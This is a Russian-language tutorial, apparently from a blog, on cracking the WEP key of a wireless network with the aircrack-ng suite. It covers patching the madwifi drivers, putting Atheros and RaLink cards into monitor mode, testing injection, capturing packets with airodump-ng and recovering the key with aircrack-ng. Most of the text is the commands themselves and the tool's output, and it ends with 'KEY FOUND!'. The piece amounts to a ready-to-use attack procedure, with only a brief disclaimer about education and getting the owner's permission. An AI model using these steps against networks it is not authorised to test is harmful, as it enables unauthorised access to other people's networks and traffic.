Протокол защиты беспроводных сетей WEP является самой "шумной" ошибкой проектирования средств защиты 20 века. Существует огромное количество методов атак, и утилит позволяющих за считанные минуты получить ключ шифрования, расшифровывать отдельные пакеты или внедрять фреймы в беспроводную сеть, защищенную с помощью WEP. В связи с этим сети, использующие этот протокол, практически не встречаются в корпоративном секторе.
В сети существует много матриалов по этому поводу. Попробуем их немного систематизировать, и описать практическое применение.
ВНИМАНИЕ!!! Вся информация изложеная в данной статье дана ТОЛЬКО в образовательных целях!!! Автор не несет никакой отвественности за вред причененный использованием материалов изложенных в данной статье!! Эксперементируйте только на своих сетях, а если решили попробовать на чужой, не забудте взять разрешение у хозяина сети! И помните: уголовный кодекс еще никто не отменял! :)
Здесь мы рассмотрим статический метод подбора ключа, с использованием набора утилит aircrack-ng.
Основным моментом является выбор "правильной" беспроводной карты и "правильных" (пропатченых) драйверов к ней. Так как не все карты одинаково хороши для нашей задачи.
Данный метод протестирован мной с использовнием PCI сетевых карт:
D-Link DWL-510 на чипсете RaLink RT2561/RT61 rev B. 802.11g
Senao на чипсете Atheros AR5212/AR5213
И нетбука Asus eeePC 701 4G, с картой Atheros AR242x 802.11abg на борту.
Существуют небольшие отличия при использованиии всех этих карт но сама суть остается таже.
В качестве платформы мы будем использовать Ubuntu Linux 8.04LTS Server Edition.
Для начала разберемся с патчами для драйверов наших карт.
И тут нас ждет приятный сюрприз. Для карт на чипсетах RaLink в Ubuntu используться драйвера rt2x00 котрые НЕ ТРЕБУЮТ никаких патчей! Они уже умеют делать injection сразу "из коробки"!
С Atheros чуть сложнее но тоже ничего страшного. Будем использовать драйвера madwifi-ng и патч к ним:
ifconfig ath0 down
ifconfig wifi0 down
svn -r 3925 checkout http://svn.madwifi-project.org/madwifi/trunk/ madwifi-ng
cd madwifi-ng
wget http://patches.aircrack-ng.org/madwifi-ng-r3925.patch
patch -N -p 0 -i madwifi-ng-r3925.patch
./scripts/madwifi-unload
make
make install
depmod -ae
modprobe ath_pci
Драйвера установлены и работают. Проверяем: lsmod .
Теперь установим aircrack-ng:
apt-get install aircrack-ng
Далее для карты Atheros AR5212/AR5213:
airmon-ng ath0 stop
airmon-ng start wifi0 10
Это переводит карту в режим монтиторинга на 10 канале WiFi.
Для карты на RaLink RT2561/RT61:
ifconfig wlan1 down
iwconfig wlan1 mode Monitor channel 10
Мониторим 10 канал.
Для карты Atheros AR242x используемой в Asus eeePC:
В Asus eeePC 701 4G используеться Atheros 242x которая по умолчанию не завелась в Ubuntu 8.04. Драйвера для нее берем тут:
http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-old.tar.bz2. Распаковываем, потом make\ make install \ make load. Загружаеться модуль ath5k. ath5k не требуют патчей и уже умеют инджектинг. Переводим карту в режим мониторинга:
ifconfig ath0 down
iwconfig ath0 mode Monitor channel 10
На этом различия для карт на разных чипсетах заканчиваються, дальнешие действия одинаковы для всех карт.
Делаем тест инджектинга:
aireplay-ng [имя интерфейса] -9
Кстати инджектинг может иногда и не работать но подбор ключа WEP при этом всеравно возможен.
Запускаем сбор пакетов:
airodump-ng -c 10 --bssid 00:AA:00:AA:00:AA -w packets ath0
где -c 10 - номер канала
--bssid 00:AA:00:AA:00:AA - BSSID нашей точки доступа
-w packet - пишем все в файл packets
-ath0 - интерфейс
Видим на экране как происходит сбор пакетов. Для подбора 64-битного ключа нам нужно гдето примерно 40000 пакетов, для 128-битного от 40000 до примерно 85000 пакетов в колонке DATA.
Теперь сам подбор:
aircrack-ng -z -b 00:AA:00:AA:00:AA packets*.cap
Через некоторое время наблюдаем чтото подобное:
Aircrack-ng 0.9
[00:03:06] Tested 674449 keys (got 96610 IVs)
[....]
KEY FOUND! [ 12:34:56:78:90 ]
Это и есть наш ключ WEP! :)